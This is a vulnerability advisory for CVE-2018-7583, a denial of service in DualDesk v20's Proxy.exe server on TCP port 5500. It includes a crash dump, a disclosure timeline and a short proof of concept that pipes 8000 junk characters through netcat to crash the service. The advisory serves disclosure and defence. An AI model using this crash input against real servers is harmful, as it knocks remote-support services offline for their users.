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DualDesk 20 - 'Proxy.exe' Denial of Service
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来源：hyp3rlinx.altervista.org 作者：hyp3rlinx 发布时间：2018-03-05
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[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/DUALDESK-v20-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security
Vendor:
===============
www.dualdesk.com
Product:
===========
DualDesk v20
DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no
configuration.
Vulnerability Type:
===================
Denial Of Service
CVE Reference:
==============
CVE-2018-7583
Security Issue:
================
Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application
which listens on TCP Port 5500 by sending a long string of junk chars.
(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:
77c6016d 83c404 add esp,4
Exploit/POC:
=============
Start the Dualdesk Run Proxy as Application.
C:\>python -c "print 'a'*8000" > crash.txt
C:\>type crash.txt | nc.exe localhost 5500
Crash!!!
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: February 4, 2018
Second attempt : February 17, 2018
Request CVE, assigned by Mitre : March 1, 2018
March 1, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
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